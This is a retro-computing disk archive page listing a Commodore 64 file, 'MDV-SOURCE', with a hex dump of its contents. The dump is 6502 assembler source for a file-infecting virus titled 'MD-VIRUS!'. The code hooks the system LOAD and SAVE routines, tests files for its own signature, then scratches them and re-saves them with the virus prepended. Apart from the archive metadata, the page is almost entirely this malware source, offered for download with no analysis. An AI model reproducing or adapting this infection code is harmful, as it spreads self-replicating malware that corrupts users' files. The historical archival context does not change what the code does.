_  __   _  _         _ _     _      _           _           
  __| |/ /_ | || |     __| (_)___| | __ (_)_ __   __| | _____  __
 / _` | '_ \| || |_   / _` | / __| |/ / | | '_ \ / _` |/ _ \ \/ /
| (_| | (_) |__   _| | (_| | \__ \   <  | | | | | (_| |  __/>  < 
 \__,_|\___/   |_|    \__,_|_|___/_|\_\ |_|_| |_|\__,_|\___/_/\_\

MDV-SOURCE

FILE INFORMATION

FILENAME(S): MDV-SOURCE

FILE TYPE(S): PRG

FILE SIZE: 7K

FIRST SEEN: 2025-10-20 14:32:04

APPEARS ON: 2 disk(s)

FILE HASH

ccf0562e830838bb2d7a1ec6b8a798a2140bf3e798fc4c3e5fc30521055bed8b

FOUND ON DISKS (2 DISKS)

DISK TITLE FILENAME FILE TYPE COLLECTION TRACK SECTOR ACTIONS
MAGIC DISK 64 MDV-SOURCE PRG Treasure Chest - Klaus Der Suhler 17 1 DOWNLOAD FILE
MAGIC DISK 64 MDV-SOURCE PRG HOL2001, OUG, Treasure Chest - ToGuMi 17 1 DOWNLOAD FILE

FILE CONTENT & ANALYSIS

00000000: D8 1F E6 1F 0A 00 2E 42  41 20 24 43 42 41 46 00  |.......BA $CBAF.|
00000010: EC 1F 14 00 3B 00 FF 1F  15 00 2E 45 51 20 53 54  |....;......EQ ST|
00000020: 41 54 55 53 3D 24 39 30  00 16 20 1E 00 2E 45 51  |ATUS=$90.. ...EQ|
00000030: 20 53 41 56 45 43 4F 4E  54 3D 24 46 36 32 34 00  | SAVECONT=$F624.|
00000040: 29 20 28 00 2E 45 51 20  46 49 4C 45 4C 4F 3D 24  |) (..EQ FILELO=$|
00000050: 42 42 00 3C 20 32 00 2E  45 51 20 46 49 4C 45 48  |BB.< 2..EQ FILEH|
00000060: 49 3D 24 42 43 00 51 20  3C 00 2E 45 51 20 46 49  |I=$BC.Q <..EQ FI|
00000070: 4C 45 4C 45 4E 47 3D 24  42 37 00 66 20 46 00 2E  |LELENG=$B7.f F..|
00000080: 45 51 20 53 45 54 50 41  52 3D 24 46 46 42 41 00  |EQ SETPAR=$FFBA.|
00000090: 7B 20 50 00 2E 45 51 20  53 45 54 4E 41 4D 3D 24  |{ P..EQ SETNAM=$|
000000A0: 46 46 42 44 00 8E 20 5A  00 2E 45 51 20 4F 50 45  |FFBD.. Z..EQ OPE|
000000B0: 4E 3D 24 46 46 43 30 00  A2 20 64 00 2E 45 51 20  |N=$FFC0.. d..EQ |
000000C0: 43 4C 4F 53 45 3D 24 46  46 43 33 00 B8 20 6E 00  |CLOSE=$FFC3.. n.|
000000D0: 2E 45 51 20 53 41 56 45  43 42 4D 3D 24 46 46 44  |.EQ SAVECBM=$FFD|
000000E0: 38 00 CD 20 78 00 2E 45  51 20 53 54 52 4F 55 54  |8.. x..EQ STROUT|
000000F0: 3D 24 41 42 31 45 00 E1  20 79 00 2E 45 51 20 42  |=$AB1E.. y..EQ B|
00000100: 53 4F 55 54 3D 24 46 46  44 32 00 EA 20 7A 00 3B  |SOUT=$FFD2.. z.;|
00000110: 2A 2A 2A 00 FC 20 7C 00  2E 45 51 20 53 49 44 3D  |***.. |..EQ SID=|
00000120: 35 34 32 37 32 00 11 21  7D 00 2E 45 51 20 43 52  |54272..!}..EQ CR|
00000130: 53 52 46 4C 41 47 3D 32  30 34 00 26 21 7E 00 2E  |SRFLAG=204.&!~..|
00000140: 45 51 20 43 52 53 52 4C  49 4E 45 3D 32 31 34 00  |EQ CRSRLINE=214.|
00000150: 38 21 7F 00 2E 45 51 20  56 49 43 3D 24 44 30 30  |8!...EQ VIC=$D00|
00000160: 30 00 41 21 82 00 3B 2A  2A 2A 00 56 21 83 00 2E  |0.A!..;***.V!...|
00000170: 45 51 20 46 52 51 4C 4F  3D 44 41 54 41 2D 31 00  |EQ FRQLO=DATA-1.|
00000180: 6B 21 84 00 2E 45 51 20  46 52 51 48 49 3D 44 41  |k!...EQ FRQHI=DA|
00000190: 54 41 2D 32 00 82 21 85  00 2E 45 51 20 43 4F 55  |TA-2..!...EQ COU|
000001A0: 4E 54 4C 4F 3D 44 41 54  41 2D 33 00 99 21 86 00  |NTLO=DATA-3..!..|
000001B0: 2E 45 51 20 43 4F 55 4E  54 48 49 3D 44 41 54 41  |.EQ COUNTHI=DATA|
000001C0: 2D 34 00 B0 21 87 00 2E  45 51 20 43 4F 55 4E 54  |-4..!...EQ COUNT|
000001D0: 45 52 3D 44 41 54 41 2D  35 00 C7 21 88 00 2E 45  |ER=DATA-5..!...E|
000001E0: 51 20 4C 45 4E 47 4E 41  4D 3D 44 41 54 41 2D 36  |Q LENGNAM=DATA-6|
000001F0: 00 E7 21 89 00 2E 45 51  20 52 45 41 4C 45 4E 44  |..!...EQ REALEND|
00000200: 3D 45 4E 44 45 2D 44 41  54 41 2B 24 30 38 30 31  |=ENDE-DATA+$0801|
00000210: 00 0D 22 8B 00 3B 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |.."..;**********|
00000220: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000230: 2A 2A 2A 2A 2A 2A 00 2D  22 8C 00 44 41 54 41 20  |******.-"..DATA |
00000240: 2E 42 59 24 31 35 2C 24  30 38 2C 24 30 41 2C 24  |.BY$15,$08,$0A,$|
00000250: 30 30 2C 24 39 45 00 46  22 96 00 2E 54 58 20 22  |00,$9E.F"...TX "|
00000260: 32 30 37 31 3A 4D 44 2D  56 49 52 55 53 21 22 00  |2071:MD-VIRUS!".|
00000270: 54 22 A0 00 2E 42 59 20  30 2C 30 2C 30 00 7A 22  |T"...BY 0,0,0.z"|
00000280: AA 00 3B 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |..;*************|
00000290: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000002A0: 2A 2A 2A 00 8D 22 B4 00  43 4F 50 59 55 50 20 4C  |***.."..COPYUP L|
000002B0: 44 41 23 24 33 37 00 99  22 BE 00 20 53 54 41 24  |DA#$37..".. STA$|
000002C0: 30 31 00 A6 22 C8 00 20  4C 44 58 23 24 30 31 00  |01..".. LDX#$01.|
000002D0: B3 22 D2 00 20 4C 44 59  23 24 30 38 00 BF 22 DC  |.".. LDY#$08..".|
000002E0: 00 20 53 54 58 24 35 46  00 CB 22 E6 00 20 53 54  |. STX$5F..".. ST|
000002F0: 59 24 36 30 00 DF 22 F0  00 20 4C 44 58 23 3C 28  |Y$60..".. LDX#<(|
00000300: 52 45 41 4C 45 4E 44 29  00 F3 22 FA 00 20 4C 44  |REALEND)..".. LD|
00000310: 59 23 3E 28 52 45 41 4C  45 4E 44 29 00 FF 22 04  |Y#>(REALEND)..".|
00000320: 01 20 53 54 58 24 35 41  00 0B 23 0E 01 20 53 54  |. STX$5A..#.. ST|
00000330: 59 24 35 42 00 18 23 18  01 20 4C 44 58 23 24 46  |Y$5B..#.. LDX#$F|
00000340: 30 00 25 23 22 01 20 4C  44 59 23 24 43 46 00 31  |0.%#". LDY#$CF.1|
00000350: 23 2C 01 20 53 54 58 24  35 38 00 3D 23 36 01 20  |#,. STX$58.=#6. |
00000360: 53 54 59 24 35 39 00 4B  23 40 01 20 4A 53 52 24  |STY$59.K#@. JSR$|
00000370: 41 33 42 46 00 59 23 4A  01 20 4A 4D 50 53 54 41  |A3BF.Y#J. JMPSTA|
00000380: 52 54 00 7E 23 54 01 3B  2A 2A 2A 2A 2A 2A 2A 2A  |RT.~#T.;********|
00000390: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000003A0: 2A 2A 2A 2A 2A 2A 2A 00  90 23 5E 01 53 54 41 52  |*******..#^.STAR|
000003B0: 54 20 4C 44 41 23 24 33  36 00 9C 23 68 01 20 53  |T LDA#$36..#h. S|
000003C0: 54 41 24 30 31 00 A2 23  72 01 3B 00 AE 23 73 01  |TA$01..#r.;..#s.|
000003D0: 20 4C 44 58 23 30 31 00  BA 23 74 01 20 4C 44 59  | LDX#01..#t. LDY|
000003E0: 23 30 38 00 C9 23 75 01  20 53 54 58 4C 41 42 35  |#08..#u. STXLAB5|
000003F0: 2B 31 00 D8 23 76 01 20  53 54 59 4C 41 42 35 2B  |+1..#v. STYLAB5+|
00000400: 32 00 EC 23 7C 01 20 4C  44 58 23 3C 28 52 45 41  |2..#|. LDX#<(REA|
00000410: 4C 45 4E 44 29 00 00 24  86 01 20 4C 44 59 23 3E  |LEND)..$.. LDY#>|
00000420: 28 52 45 41 4C 45 4E 44  29 00 0C 24 90 01 20 53  |(REALEND)..$.. S|
00000430: 54 58 24 46 42 00 18 24  9A 01 20 53 54 59 24 46  |TX$FB..$.. STY$F|
00000440: 43 00 24 24 A4 01 20 4C  44 58 24 41 45 00 30 24  |C.$$.. LDX$AE.0$|
00000450: A5 01 20 4C 44 59 24 41  46 00 3C 24 A7 01 20 53  |.. LDY$AF.<$.. S|
00000460: 54 58 24 46 39 00 48 24  A8 01 20 53 54 59 24 46  |TX$F9.H$.. STY$F|
00000470: 41 00 4E 24 CC 01 3B 00  5A 24 D6 01 20 4C 44 59  |A.N$..;.Z$.. LDY|
00000480: 23 30 30 00 66 24 DB 01  20 4C 44 58 23 30 30 00  |#00.f$.. LDX#00.|
00000490: 7B 24 E0 01 4C 4F 4F 50  38 20 4C 44 41 28 24 46  |{$..LOOP8 LDA($F|
000004A0: 42 29 2C 59 00 8F 24 EA  01 4C 41 42 35 20 53 54  |B),Y..$..LAB5 ST|
000004B0: 41 24 30 38 30 31 2C 58  00 98 24 F4 01 20 49 4E  |A$0801,X..$.. IN|
000004C0: 58 00 A5 24 FE 01 20 42  4E 45 4C 41 42 34 00 B4  |X..$.. BNELAB4..|
000004D0: 24 08 02 20 49 4E 43 4C  41 42 35 2B 32 00 C9 24  |$.. INCLAB5+2..$|
000004E0: 12 02 4C 41 42 34 20 4A  53 52 49 4E 43 43 4F 55  |..LAB4 JSRINCCOU|
000004F0: 4E 54 00 D7 24 1C 02 20  42 43 43 4C 4F 4F 50 38  |NT..$.. BCCLOOP8|
00000500: 00 DD 24 80 02 3B 00 EC  24 94 02 20 4C 44 59 4C  |..$..;..$.. LDYL|
00000510: 41 42 35 2B 32 00 F8 24  9E 02 20 53 54 58 24 41  |AB5+2..$.. STX$A|
00000520: 45 00 04 25 A8 02 20 53  54 59 24 41 46 00 10 25  |E..%.. STY$AF..%|
00000530: B2 02 20 53 54 58 24 32  44 00 1C 25 BC 02 20 53  |.. STX$2D..%.. S|
00000540: 54 59 24 32 45 00 22 25  C6 02 3B 00 2F 25 D0 02  |TY$2E."%..;./%..|
00000550: 20 4C 44 41 23 24 33 37  00 3B 25 DA 02 20 53 54  | LDA#$37.;%.. ST|
00000560: 41 24 30 31 00 41 25 E4  02 3B 00 4E 25 EE 02 20  |A$01.A%..;.N%.. |
00000570: 4A 53 52 49 4E 49 54 00  5C 25 F8 02 20 4A 53 52  |JSRINIT.\%.. JSR|
00000580: 24 41 36 35 39 00 6A 25  02 03 20 4A 4D 50 24 41  |$A659.j%.. JMP$A|
00000590: 37 41 45 00 90 25 0C 03  3B 2A 2A 2A 2A 2A 2A 2A  |7AE..%..;*******|
000005A0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000005B0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 00 A5 25 48 03 52 45  |*********..%H.RE|
000005C0: 53 54 4F 52 45 20 4A 53  52 24 46 44 31 35 00 B3  |STORE JSR$FD15..|
000005D0: 25 52 03 20 4A 53 52 24  46 44 41 33 00 C1 25 5C  |%R. JSR$FDA3..%\|
000005E0: 03 20 4A 53 52 24 45 35  31 38 00 CF 25 66 03 20  |. JSR$E518..%f. |
000005F0: 4A 53 52 49 4E 49 54 32  00 DF 25 70 03 20 4A 4D  |JSRINIT2..%p. JM|
00000600: 50 28 24 41 30 30 32 29  00 05 26 7A 03 3B 2A 2A  |P($A002)..&z.;**|
00000610: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000620: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 00 17  |**************..|
00000630: 26 84 03 53 41 56 45 31  20 4A 4D 50 53 41 56 45  |&..SAVE1 JMPSAVE|
00000640: 00 3D 26 8E 03 3B 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |.=&..;**********|
00000650: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000660: 2A 2A 2A 2A 2A 2A 00 50  26 A2 03 52 45 53 45 54  |******.P&..RESET|
00000670: 20 53 54 58 24 44 30 31  36 00 5E 26 AC 03 20 4A  | STX$D016.^&.. J|
00000680: 53 52 24 46 44 41 33 00  6C 26 B6 03 20 4A 53 52  |SR$FDA3.l&.. JSR|
00000690: 24 46 44 35 30 00 7A 26  C0 03 20 4A 53 52 24 46  |$FD50.z&.. JSR$F|
000006A0: 44 31 35 00 88 26 CA 03  20 4A 53 52 24 46 46 35  |D15..&.. JSR$FF5|
000006B0: 42 00 91 26 D4 03 20 43  4C 49 00 9F 26 DE 03 20  |B..&.. CLI..&.. |
000006C0: 4A 53 52 49 4E 49 54 32  00 AF 26 E8 03 20 4A 4D  |JSRINIT2..&.. JM|
000006D0: 50 28 24 41 30 30 30 29  00 D5 26 F2 03 3B 2A 2A  |P($A000)..&..;**|
000006E0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000006F0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 00 E2  |**************..|
00000700: 26 FC 03 4C 4F 41 44 20  50 48 41 00 F1 26 06 04  |&..LOAD PHA..&..|
00000710: 20 4C 44 41 46 49 4C 45  4C 4F 00 FD 26 10 04 20  | LDAFILELO..&.. |
00000720: 53 54 41 24 46 42 00 0C  27 1A 04 20 4C 44 41 46  |STA$FB..'.. LDAF|
00000730: 49 4C 45 48 49 00 18 27  24 04 20 53 54 41 24 46  |ILEHI..'$. STA$F|
00000740: 43 00 29 27 2E 04 20 4C  44 59 46 49 4C 45 4C 45  |C.)'.. LDYFILELE|
00000750: 4E 47 00 39 27 38 04 20  53 54 59 4C 45 4E 47 4E  |NG.9'8. STYLENGN|
00000760: 41 4D 00 4E 27 42 04 4C  4F 4F 50 32 20 4C 44 41  |AM.N'B.LOOP2 LDA|
00000770: 28 24 46 42 29 2C 59 00  63 27 4C 04 20 53 54 41  |($FB),Y.c'L. STA|
00000780: 4E 41 4D 45 42 55 46 46  2B 32 2C 59 00 6C 27 56  |NAMEBUFF+2,Y.l'V|
00000790: 04 20 44 45 59 00 7A 27  60 04 20 42 50 4C 4C 4F  |. DEY.z'`. BPLLO|
000007A0: 4F 50 32 00 83 27 6A 04  20 50 4C 41 00 89 27 74  |OP2..'j. PLA..'t|
000007B0: 04 3B 00 95 27 7E 04 20  53 54 41 24 39 33 00 A2  |.;..'~. STA$93..|
000007C0: 27 88 04 20 4C 44 41 23  24 30 30 00 AE 27 92 04  |'.. LDA#$00..'..|
000007D0: 20 53 54 41 24 39 30 00  BA 27 9C 04 20 4C 44 41  | STA$90..'.. LDA|
000007E0: 24 42 41 00 C8 27 A6 04  20 42 4E 45 58 46 34 42  |$BA..'.. BNEXF4B|
000007F0: 32 00 DB 27 B0 04 58 46  34 41 46 20 4A 4D 50 24  |2..'..XF4AF JMP$|
00000800: 46 37 31 33 00 ED 27 BA  04 58 46 34 42 32 20 43  |F713..'..XF4B2 C|
00000810: 4D 50 23 24 30 33 00 FB  27 C4 04 20 42 45 51 58  |MP#$03..'.. BEQX|
00000820: 46 34 41 46 00 09 28 CE  04 20 42 43 43 58 46 35  |F4AF..(.. BCCXF5|
00000830: 33 33 00 0F 28 D8 04 3B  00 1B 28 E2 04 20 4C 44  |33..(..;..(.. LD|
00000840: 59 24 42 37 00 29 28 EC  04 20 42 4E 45 58 46 34  |Y$B7.)(.. BNEXF4|
00000850: 42 46 00 37 28 F6 04 20  4A 4D 50 24 46 37 31 30  |BF.7(.. JMP$F710|
00000860: 00 48 28 00 05 58 46 34  42 46 20 4C 44 58 24 42  |.H(..XF4BF LDX$B|
00000870: 39 00 56 28 0A 05 20 4A  53 52 24 46 35 41 46 00  |9.V(.. JSR$F5AF.|
00000880: 63 28 14 05 20 4C 44 41  23 24 36 30 00 6F 28 1E  |c(.. LDA#$60.o(.|
00000890: 05 20 53 54 41 24 42 39  00 7D 28 28 05 20 4A 53  |. STA$B9.}((. JS|
000008A0: 52 24 46 33 44 35 00 89  28 32 05 20 4C 44 41 24  |R$F3D5..(2. LDA$|
000008B0: 42 41 00 97 28 3C 05 20  4A 53 52 24 45 44 30 39  |BA..(<. JSR$ED09|
000008C0: 00 A3 28 46 05 20 4C 44  41 24 42 39 00 B1 28 50  |..(F. LDA$B9..(P|
000008D0: 05 20 4A 53 52 24 45 44  43 37 00 BF 28 5A 05 20  |. JSR$EDC7..(Z. |
000008E0: 4A 53 52 24 45 45 31 33  00 CB 28 64 05 20 53 54  |JSR$EE13..(d. ST|
000008F0: 41 24 41 45 00 D1 28 6E  05 3B 00 DD 28 78 05 20  |A$AE..(n.;..(x. |
00000900: 43 4D 50 23 30 31 00 EE  28 82 05 20 42 4E 45 43  |CMP#01..(.. BNEC|
00000910: 42 4D 4C 4F 41 44 31 00  F4 28 8C 05 3B 00 00 29  |BMLOAD1..(..;..)|
00000920: 96 05 20 4C 44 41 24 39  30 00 09 29 A0 05 20 4C  |.. LDA$90..).. L|
00000930: 53 52 00 12 29 AA 05 20  4C 53 52 00 24 29 B4 05  |SR..).. LSR.$)..|
00000940: 20 42 43 53 4C 4F 41 44  45 52 52 4F 52 00 32 29  | BCSLOADERROR.2)|
00000950: BE 05 20 4A 53 52 24 45  45 31 33 00 3E 29 C8 05  |.. JSR$EE13.>)..|
00000960: 20 53 54 41 24 41 46 00  44 29 D2 05 3B 00 50 29  | STA$AF.D)..;.P)|
00000970: DC 05 20 43 4D 50 23 30  38 00 61 29 E6 05 20 42  |.. CMP#08.a).. B|
00000980: 4E 45 43 42 4D 4C 4F 41  44 32 00 6F 29 F0 05 20  |NECBMLOAD2.o).. |
00000990: 4A 53 52 24 46 34 45 35  00 7F 29 FA 05 20 42 43  |JSR$F4E5..).. BC|
000009A0: 43 49 4E 46 54 45 53 54  00 88 29 04 06 20 52 54  |CINFTEST..).. RT|
000009B0: 53 00 AE 29 0E 06 3B 2A  2A 2A 2A 2A 2A 2A 2A 2A  |S..)..;*********|
000009C0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
000009D0: 2A 2A 2A 2A 2A 2A 2A 00  C5 29 18 06 4C 4F 41 44  |*******..)..LOAD|
000009E0: 45 52 52 4F 52 20 4A 4D  50 24 46 37 30 34 00 D8  |ERROR JMP$F704..|
000009F0: 29 22 06 58 46 35 33 33  20 4A 4D 50 24 46 35 33  |)".XF533 JMP$F53|
00000A00: 33 00 EE 29 2C 06 43 42  4D 4C 4F 41 44 31 20 4A  |3..),.CBMLOAD1 J|
00000A10: 4D 50 24 46 34 44 41 00  04 2A 36 06 43 42 4D 4C  |MP$F4DA..*6.CBML|
00000A20: 4F 41 44 32 20 4A 4D 50  24 46 34 45 35 00 2A 2A  |OAD2 JMP$F4E5.**|
00000A30: 40 06 3B 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |@.;*************|
00000A40: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000A50: 2A 2A 2A 00 3D 2A 4A 06  49 4E 46 54 45 53 54 20  |***.=*J.INFTEST |
00000A60: 4C 44 59 23 31 37 00 52  2A 54 06 4C 4F 4F 50 37  |LDY#17.R*T.LOOP7|
00000A70: 20 4C 44 41 24 30 38 30  31 2C 59 00 61 2A 5E 06  | LDA$0801,Y.a*^.|
00000A80: 20 43 4D 50 44 41 54 41  2C 59 00 71 2A 68 06 20  | CMPDATA,Y.q*h. |
00000A90: 42 4E 45 53 43 52 41 54  43 48 00 7A 2A 72 06 20  |BNESCRATCH.z*r. |
00000AA0: 44 45 59 00 88 2A 7C 06  20 42 50 4C 4C 4F 4F 50  |DEY..*|. BPLLOOP|
00000AB0: 37 00 98 2A 86 06 20 4A  4D 50 28 24 41 30 30 32  |7..*.. JMP($A002|
00000AC0: 29 00 9E 2A 90 06 3B 00  B1 2A A4 06 53 43 52 41  |)..*..;..*..SCRA|
00000AD0: 54 43 48 20 4C 44 41 23  30 31 00 BD 2A AE 06 20  |TCH LDA#01..*.. |
00000AE0: 4C 44 58 23 30 38 00 C9  2A B8 06 20 4C 44 59 23  |LDX#08..*.. LDY#|
00000AF0: 31 35 00 D8 2A C2 06 20  4A 53 52 53 45 54 50 41  |15..*.. JSRSETPA|
00000B00: 52 00 E8 2A CC 06 20 4C  44 41 4C 45 4E 47 4E 41  |R..*.. LDALENGNA|
00000B10: 4D 00 F1 2A D6 06 20 43  4C 43 00 FD 2A E0 06 20  |M..*.. CLC..*.. |
00000B20: 41 44 43 23 30 32 00 12  2B EA 06 20 4C 44 58 23  |ADC#02..+.. LDX#|
00000B30: 3C 28 4E 41 4D 45 42 55  46 46 29 00 27 2B F4 06  |<(NAMEBUFF).'+..|
00000B40: 20 4C 44 59 23 3E 28 4E  41 4D 45 42 55 46 46 29  | LDY#>(NAMEBUFF)|
00000B50: 00 36 2B FE 06 20 4A 53  52 53 45 54 4E 41 4D 00  |.6+.. JSRSETNAM.|
00000B60: 43 2B 08 07 20 4A 53 52  4F 50 45 4E 00 4F 2B 12  |C+.. JSROPEN.O+.|
00000B70: 07 20 4C 44 41 23 30 31  00 5D 2B 1C 07 20 4A 53  |. LDA#01.]+.. JS|
00000B80: 52 43 4C 4F 53 45 00 63  2B 26 07 3B 00 73 2B 30  |RCLOSE.c+&.;.s+0|
00000B90: 07 20 4C 44 59 4C 45 4E  47 4E 41 4D 00 88 2B 3A  |. LDYLENGNAM..+:|
00000BA0: 07 20 4C 44 41 4E 41 4D  45 42 55 46 46 2B 31 2C  |. LDANAMEBUFF+1,|
00000BB0: 59 00 95 2B 44 07 20 43  4D 50 23 22 2A 22 00 A2  |Y..+D. CMP#"*"..|
00000BC0: 2B 4E 07 20 42 4E 45 43  4F 4E 54 00 AB 2B 58 07  |+N. BNECONT..+X.|
00000BD0: 20 44 45 59 00 B1 2B 62  07 3B 00 BE 2B 80 07 43  | DEY..+b.;..+..C|
00000BE0: 4F 4E 54 20 54 59 41 00  D5 2B 8A 07 20 4C 44 58  |ONT TYA..+.. LDX|
00000BF0: 23 3C 28 4E 41 4D 45 42  55 46 46 29 2B 32 00 EA  |#<(NAMEBUFF)+2..|
00000C00: 2B 94 07 20 4C 44 59 23  3E 28 4E 41 4D 45 42 55  |+.. LDY#>(NAMEBU|
00000C10: 46 46 29 00 F9 2B 9E 07  20 4A 53 52 53 45 54 4E  |FF)..+.. JSRSETN|
00000C20: 41 4D 00 05 2C 9F 07 20  4C 44 58 23 30 38 00 14  |AM..,.. LDX#08..|
00000C30: 2C A0 07 20 4A 53 52 53  45 54 50 41 52 00 20 2C  |,.. JSRSETPAR. ,|
00000C40: A8 07 20 4C 44 58 23 30  31 00 2C 2C B2 07 20 4C  |.. LDX#01.,,.. L|
00000C50: 44 59 23 30 38 00 38 2C  BC 07 20 53 54 58 24 43  |DY#08.8,.. STX$C|
00000C60: 31 00 44 2C C6 07 20 53  54 59 24 43 32 00 50 2C  |1.D,.. STY$C2.P,|
00000C70: D0 07 20 4C 44 58 23 30  30 00 5D 2C DA 07 20 4A  |.. LDX#00.],.. J|
00000C80: 53 52 53 41 56 45 00 6F  2C E4 07 20 4A 4D 50 53  |SRSAVE.o,.. JMPS|
00000C90: 41 56 45 45 52 52 4F 52  00 95 2C 17 08 3B 2A 2A  |AVEERROR..,..;**|
00000CA0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000CB0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 00 A5  |**************..|
00000CC0: 2C 18 08 49 4E 49 54 20  4C 44 41 23 30 31 00 B2  |,..INIT LDA#01..|
00000CD0: 2C 19 08 20 53 54 41 43  4F 50 59 00 C3 2C 20 08  |,.. STACOPY.., .|
00000CE0: 49 4E 49 54 32 20 4C 44  59 23 30 33 00 D6 2C 2A  |INIT2 LDY#03..,*|
00000CF0: 08 4C 4F 4F 50 33 20 4C  44 41 54 41 42 2C 59 00  |.LOOP3 LDATAB,Y.|
00000D00: E6 2C 34 08 20 53 54 41  24 30 33 33 30 2C 59 00  |.,4. STA$0330,Y.|
00000D10: EF 2C 3E 08 20 44 45 59  00 FD 2C 48 08 20 42 50  |.,>. DEY..,H. BP|
00000D20: 4C 4C 4F 4F 50 33 00 03  2D 52 08 3B 00 0F 2D 5C  |LLOOP3..-R.;..-\|
00000D30: 08 20 4C 44 59 23 30 38  00 22 2D 66 08 4C 4F 4F  |. LDY#08."-f.LOO|
00000D40: 50 34 20 4C 44 41 43 42  4D 2C 59 00 32 2D 70 08  |P4 LDACBM,Y.2-p.|
00000D50: 20 53 54 41 24 38 30 30  30 2C 59 00 3B 2D 7A 08  | STA$8000,Y.;-z.|
00000D60: 20 44 45 59 00 49 2D 84  08 20 42 50 4C 4C 4F 4F  | DEY.I-.. BPLLOO|
00000D70: 50 34 00 4F 2D 8E 08 3B  00 58 2D 98 08 20 52 54  |P4.O-..;.X-.. RT|
00000D80: 53 00 7E 2D 99 08 3B 2A  2A 2A 2A 2A 2A 2A 2A 2A  |S.~-..;*********|
00000D90: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000DA0: 2A 2A 2A 2A 2A 2A 2A 00  91 2D 9A 08 58 46 36 35  |*******..-..XF65|
00000DB0: 39 20 4A 4D 50 24 46 36  35 39 00 9F 2D 9B 08 43  |9 JMP$F659..-..C|
00000DC0: 4F 50 59 20 2E 42 59 30  00 C5 2D A2 08 3B 2A 2A  |OPY .BY0..-..;**|
00000DD0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000DE0: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 00 DD  |**************..|
00000DF0: 2D A3 08 53 41 56 45 45  52 52 4F 52 20 4C 44 41  |-..SAVEERROR LDA|
00000E00: 53 54 41 54 55 53 00 EA  2D A4 08 20 42 4E 45 53  |STATUS..-.. BNES|
00000E10: 48 49 54 00 F3 2D A5 08  20 52 54 53 00 0D 2E A7  |HIT..-.. RTS....|
00000E20: 08 53 48 49 54 20 4C 44  41 23 3C 28 45 52 52 4F  |.SHIT LDA#<(ERRO|
00000E30: 52 54 45 58 54 29 00 23  2E A8 08 20 4C 44 59 23  |RTEXT).#... LDY#|
00000E40: 3E 28 45 52 52 4F 52 54  45 58 54 29 00 32 2E A9  |>(ERRORTEXT).2..|
00000E50: 08 20 4A 4D 50 53 54 52  4F 55 54 00 58 2E AA 08  |. JMPSTROUT.X...|
00000E60: 3B 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |;***************|
00000E70: 2A 2A 2A 2A 2A 2A 2A 2A  2A 2A 2A 2A 2A 2A 2A 2A  |****************|
00000E80: 2A 00 68 2E AC 08 53 41  56 45 20 4C 44 41 24 42  |*.h...SAVE LDA$B|
00000E90: 41 00 76 2E B6 08 20 42  4E 45 58 46 35 46 34 00  |A.v... BNEXF5F4.|
00000EA0: 89 2E C0 08 58 46 35 46  31 20 4A 4D 50 24 46 37  |....XF5F1 JMP$F7|
00000EB0: 31 33 00 9B 2E CA 08 58  46 35 46 34 20 43 4D 50  |13.....XF5F4 CMP|
00000EC0: 23 24 30 33 00 A9 2E D4  08 20 42 45 51 58 46 35  |#$03..... BEQXF5|
00000ED0: 46 31 00 B7 2E DE 08 20  42 43 43 58 46 36 35 39  |F1..... BCCXF659|
00000EE0: 00 BD 2E E8 08 3B 00 CA  2E F2 08 20 4C 44 41 23  |.....;..... LDA#|
00000EF0: 24 36 31 00 D6 2E FC 08  20 53 54 41 24 42 39 00  |$61..... STA$B9.|
00000F00: E2 2E 06 09 20 4C 44 59  24 42 37 00 F0 2E 10 09  |.... LDY$B7.....|
00000F10: 20 42 4E 45 58 46 36 30  35 00 FE 2E 1A 09 20 4A  | BNEXF605..... J|
00000F20: 4D 50 24 46 37 31 30 00  0F 2F 24 09 58 46 36 30  |MP$F710../$.XF60|
00000F30: 35 20 43 50 58 23 30 30  00 20 2F 2E 09 20 42 45  |5 CPX#00. /.. BE|
00000F40: 51 4E 4F 53 41 56 49 4E  47 00 2E 2F 38 09 20 4A  |QNOSAVING../8. J|
00000F50: 53 52 24 46 36 38 46 00  44 2F 42 09 4E 4F 53 41  |SR$F68F.D/B.NOSA|
00000F60: 56 49 4E 47 20 4A 53 52  24 46 33 44 35 00 50 2F  |VING JSR$F3D5.P/|
00000F70: 4C 09 20 4C 44 41 24 42  41 00 5E 2F 56 09 20 4A  |L. LDA$BA.^/V. J|
00000F80: 53 52 24 45 44 30 43 00  6A 2F 60 09 20 4C 44 41  |SR$ED0C.j/`. LDA|
00000F90: 24 42 39 00 78 2F 6A 09  20 4A 53 52 24 45 44 42  |$B9.x/j. JSR$EDB|
00000FA0: 39 00 85 2F 74 09 20 4C  44 59 23 24 30 30 00 93  |9../t. LDY#$00..|
